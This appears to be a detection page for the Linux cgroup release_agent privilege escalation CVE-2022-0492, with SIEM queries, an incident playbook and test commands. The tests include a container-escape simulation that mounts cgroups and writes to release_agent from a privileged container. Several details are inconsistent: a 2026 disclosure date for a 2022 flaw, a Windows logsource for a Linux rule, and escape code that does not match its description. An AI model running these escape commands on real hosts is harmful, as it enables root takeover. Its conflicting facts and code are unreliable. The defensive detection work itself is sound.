CVE-2022-0492

Linux Kernel cgroup v1 release_agent Privilege Escalation (CVE-2022-0492)

Privilege Escalation Defense Evasion Execution Last updated:

CVE-2022-0492 is a Linux kernel vulnerability (CWE-287/CWE-862) in the cgroup v1 release_agent mechanism. A local unprivileged user can exploit improper capability checks to write to /sys/fs/cgroup/*/release_agent and execute arbitrary commands as root, enabling container escape and full host compromise. This vulnerability is listed on CISA KEV, indicating active exploitation in the wild.

Vulnerability Intelligence

KEV — Known Exploited

Affected Software

Vendor
Linux
Product
Kernel

Weakness (CWE)

CWE-287CWE-862

Timeline

Disclosed
June 2, 2026

CVSS

7.8
High (7.0–8.9)

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Write-up coming soon

What is CVE-2022-0492 Linux Kernel cgroup v1 release_agent Privilege Escalation (CVE-2022-0492)?

Linux Kernel cgroup v1 release_agent Privilege Escalation (CVE-2022-0492) (CVE-2022-0492) maps to the Privilege Escalation and Defense Evasion and Execution tactics — the adversary is trying to gain higher-level permissions in MITRE ATT&CK.

This page provides production-ready detection logic for Linux Kernel cgroup v1 release_agent Privilege Escalation (CVE-2022-0492), covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, Microsoft Sentinel. The queries below are rated critical severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Privilege Escalation Defense Evasion Execution
Microsoft Sentinel / Defender
kusto 
union
(
    DeviceProcessEvents
    | where FileName in~ ("sh", "bash", "dash") or ProcessCommandLine has_any ("/sys/fs/cgroup", "release_agent", "notify_on_release")
    | where ProcessCommandLine has_any ("release_agent", "notify_on_release", "/sys/fs/cgroup")
    | project TimeGenerated, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine, ParentProcessName=InitiatingProcessFileName
),
(
    DeviceFileEvents
    | where FolderPath has "/sys/fs/cgroup"
    | where FileName in~ ("release_agent", "notify_on_release")
    | where ActionType in ("FileModified", "FileCreated")
    | project TimeGenerated, DeviceName, AccountName, FolderPath, FileName, ActionType, InitiatingProcessCommandLine
),
(
    DeviceProcessEvents
    | where InitiatingProcessCommandLine has_any ("unshare", "nsenter") and ProcessCommandLine has "/sys/fs/cgroup"
    | project TimeGenerated, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
)
| extend AlertDetail = "Potential CVE-2022-0492 cgroup v1 release_agent exploitation"
| order by TimeGenerated desc

Detects writes to cgroup v1 release_agent or notify_on_release pseudo-files, unshare/nsenter usage combined with cgroup path access, and shell processes referencing cgroup paths — all indicators of CVE-2022-0492 exploitation.

critical severity high confidence

Data Sources

Microsoft Defender for Endpoint Microsoft Sentinel

Required Tables

DeviceProcessEvents DeviceFileEvents

False Positives

  • Legitimate container runtimes (containerd, runc, podman) may interact with cgroup release_agent during normal lifecycle operations
  • System administrators performing cgroup configuration or tuning
  • Monitoring and observability agents reading cgroup filesystem metrics
  • CI/CD pipeline runners that manage container namespaces

Sigma rule & cross-platform mapping

The detection logic for Linux Kernel cgroup v1 release_agent Privilege Escalation (CVE-2022-0492) (CVE-2022-0492) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource: 

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:

SigmaHQ rules for CVE-2022-0492 Sigma rules on detection.fyi

Platform-specific guides for CVE-2022-0492

Detect in Microsoft Sentinel (KQL) Detect in Splunk (SPL) Detect in Elastic Security (Elastic) Detect in IBM QRadar (QRadar) Detect in Sumo Logic CSE (Sumo) Detect in Google Chronicle (YARA-L) Detect in CrowdStrike LogScale (LogScale)
Last updated: 2026-06-19 Research depth: standard
References (3)

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Write payload to cgroup release_agent (non-privileged namespace simulation)

    Expected signal: Process event for unshare with -UrmC flags; file write event to path matching /sys/fs/cgroup/*/release_agent or the tmp mount path; child bash process inheriting modified cgroup namespace

  2. Test 2Enumerate cgroup v1 hierarchy for exploitable release_agent

    Expected signal: Process event for sh/bash with find commands targeting /sys/fs/cgroup paths; multiple file read events against notify_on_release and release_agent pseudo-files

  3. Test 3Container escape simulation via cgroup release_agent (lab environment)

    Expected signal: Docker daemon log showing privileged container creation; host-level process events for cgroup mount, release_agent write; if successful: unexpected process spawned outside container namespace with UID 0; file creation event for escape_proof.txt on host

Response Playbook

Triage

  1. Identify the process that wrote to /sys/fs/cgroup/*/release_agent — capture full path, PID, parent PID, user context, and container namespace (verify via /proc/<pid>/cgroup and /proc/<pid>/ns/cgroup)
  2. Determine if the host is a container host (Docker, Kubernetes node, LXC) or bare metal — container escape is the primary risk vector; check if the initiating process is inside a container namespace by comparing cgroup namespaces with PID 1
  3. Check if notify_on_release is set to 1 in the affected cgroup hierarchy: cat /sys/fs/cgroup/<subsystem>/notify_on_release — if enabled and release_agent was written, the exploit chain may already be armed
  4. Correlate the initiating user account against privileged account inventory — determine if exploit was executed as an unprivileged user attempting privilege escalation or as an already-privileged user (lower risk)

Containment

  1. If exploitation is confirmed on a container host, immediately isolate the affected worker node from the cluster (kubectl cordon + drain for Kubernetes, pause container workloads) to prevent lateral movement from any escaped container
  2. Terminate the suspicious process and its children, then remount cgroup v1 hierarchy with nosuid,nodev options or disable notify_on_release at the subsystem level: echo 0 > /sys/fs/cgroup/<subsystem>/notify_on_release

Evidence Collection

  1. Capture /proc/<pid>/maps, /proc/<pid>/environ, /proc/<pid>/cmdline, /proc/<pid>/cgroup, and /proc/<pid>/ns/* for the initiating process before termination; preserve full process tree with timestamps
  2. Image the cgroup filesystem state: find /sys/fs/cgroup -name release_agent -exec cat {} \; and record all notify_on_release values; collect kernel audit logs (ausearch -k cgroup or journalctl -k) for the exploitation window

Escalation Criteria

  • ! Escalate immediately if evidence of successful container escape is found (processes from container namespace appearing in host PID namespace, unexpected root-owned processes spawned from container init)
  • ! Escalate if the affected system is a Kubernetes node, CI/CD runner, or shared container host — blast radius includes all co-located workloads and potentially cluster-wide compromise via service account tokens accessible post-escape

Investigation Guide

Forensic Artifacts

  • > /sys/fs/cgroup/*/release_agent file contents and modification timestamps
  • > Kernel audit log entries for write syscalls against cgroup pseudo-files (auditd rules: -w /sys/fs/cgroup -p wa)
  • > /proc/*/cgroup entries for all processes active during the incident window
  • > Container runtime logs (dockerd, containerd, crio) showing container lifecycle events concurrent with the exploit attempt

Tuning Guidance

Start by baselining which processes legitimately touch /sys/fs/cgroup/*/release_agent on your environment — primarily container runtimes (runc, containerd-shim) during container teardown. Create allowlist exclusions keyed on process path + parent process path pairs (e.g. runc invoked by containerd). On Kubernetes nodes, kubelet and the CRI runtime will generate significant noise; scope exclusions to known runtime binary paths. The sequence-based detections (EQL, Chronicle) have lower false-positive rates than single-event rules and are recommended for production alerting. For environments that have fully migrated to cgroup v2 and disabled cgroup v1, all release_agent alerts can be treated as high-confidence anomalies requiring immediate investigation.

Hunting Queries

7-day retroactive hunt for any process interactions with cgroup release_agent paths to identify prior exploitation attempts or establish baseline legitimate usage

Hunting — KQL
kql 
DeviceProcessEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine has "/sys/fs/cgroup" or ProcessCommandLine has "release_agent"
| summarize count() by DeviceName, AccountName, ProcessCommandLine, bin(Timestamp, 1h)
| where count_ > 0
| order by Timestamp desc
Hunting — SPL
spl 
index=linux_security earliest=-7d
sourcetype IN ("auditd","sysmon_linux")
("release_agent" OR "/sys/fs/cgroup")
| stats count by host, user, cmdline, _time
| sort -_time

Atomic Red Team Tests

Test 1 Write payload to cgroup release_agent (non-privileged namespace simulation)
linux

Simulates the CVE-2022-0492 exploitation pattern by creating a new cgroup namespace with unshare and attempting to write a command to release_agent, replicating attacker tradecraft without actually escaping a container.

Command

bash 
unshare -UrmC --propagation private bash -c 'mkdir -p /tmp/cve_2022_0492_test && mount -t cgroup -o memory cgroup /tmp/cve_2022_0492_test && echo 1 > /tmp/cve_2022_0492_test/notify_on_release && echo /tmp/payload.sh > /tmp/cve_2022_0492_test/release_agent && echo "Wrote to release_agent" && cat /tmp/cve_2022_0492_test/release_agent'

Cleanup

bash 
umount /tmp/cve_2022_0492_test 2>/dev/null; rm -rf /tmp/cve_2022_0492_test /tmp/payload.sh

Expected Telemetry

Process event for unshare with -UrmC flags; file write event to path matching /sys/fs/cgroup/*/release_agent or the tmp mount path; child bash process inheriting modified cgroup namespace

Expected Detection

kql: DeviceProcessEvents where ProcessCommandLine has 'release_agent'; spl: auditd WRITE events on release_agent path; crowdstrike: WriteFile event on release_agent matching CQL rule

Test 2 Enumerate cgroup v1 hierarchy for exploitable release_agent
linux

Reconnaissance phase — attacker enumerates available cgroup v1 subsystems and checks notify_on_release status to identify exploitable cgroup hierarchies before attempting exploitation.

Command

bash 
find /sys/fs/cgroup -name notify_on_release -exec sh -c 'echo "$1: $(cat $1)"' _ {} \; 2>/dev/null; find /sys/fs/cgroup -name release_agent 2>/dev/null | while read f; do echo "$f: $(cat $f 2>/dev/null)"; done

Cleanup

bash 
No cleanup required — read-only reconnaissance

Expected Telemetry

Process event for sh/bash with find commands targeting /sys/fs/cgroup paths; multiple file read events against notify_on_release and release_agent pseudo-files

Expected Detection

ProcessCommandLine matching '*release_agent*' or '*/sys/fs/cgroup*' in SIEM; auditd READ events on cgroup pseudo-files if audit rules are configured for cgroup reads

Test 3 Container escape simulation via cgroup release_agent (lab environment)
linux

Full CVE-2022-0492 exploitation simulation inside a lab Docker container — mounts host cgroup inside container, sets notify_on_release, writes reverse shell command to release_agent, then triggers it by creating and removing a temporary cgroup. FOR LAB USE ONLY.

Command

bash 
docker run --rm -it --privileged ubuntu:22.04 bash -c 'mkdir -p /tmp/exploit && mount -t cgroup -o memory cgroup /tmp/exploit && mkdir /tmp/exploit/child && echo 1 > /tmp/exploit/child/notify_on_release && HOST_PATH=$(sed -n "s/.*\perdir=\([^,]*\).*/\1/p" /etc/mtab | head -1) && echo "$HOST_PATH/tmp/escape_proof.txt" > /tmp/exploit/release_agent && echo "#!/bin/bash" > /tmp/escape_root.sh && echo "echo CVE-2022-0492-ESCAPED > /tmp/escape_proof.txt" >> /tmp/escape_root.sh && chmod +x /tmp/escape_root.sh && sh -c "echo \$\$ > /tmp/exploit/child/cgroup.procs" && sleep 2 && cat /tmp/escape_proof.txt 2>/dev/null || echo "Escape attempt completed - check host /tmp/escape_proof.txt"'

Cleanup

bash 
rm -f /tmp/escape_proof.txt /tmp/escape_root.sh; docker rm -f $(docker ps -aq --filter ancestor=ubuntu:22.04) 2>/dev/null

Expected Telemetry

Docker daemon log showing privileged container creation; host-level process events for cgroup mount, release_agent write; if successful: unexpected process spawned outside container namespace with UID 0; file creation event for escape_proof.txt on host

Expected Detection

EQL sequence rule detecting unshare/mount + release_agent write + privileged process spawn; CrowdStrike WriteFile event on release_agent followed by anomalous root process; Chronicle YARA-L rule matching FILE_MODIFICATION on release_agent path

Related Detections

Tactic Hubs

TA0004Privilege EscalationTA0005Defense EvasionTA0002Execution

Related Techniques

T1611Escape to HostT1548.001Setuid and SetgidT1059.004Unix Shell

Same Tactic: Privilege Escalation

Popular Detections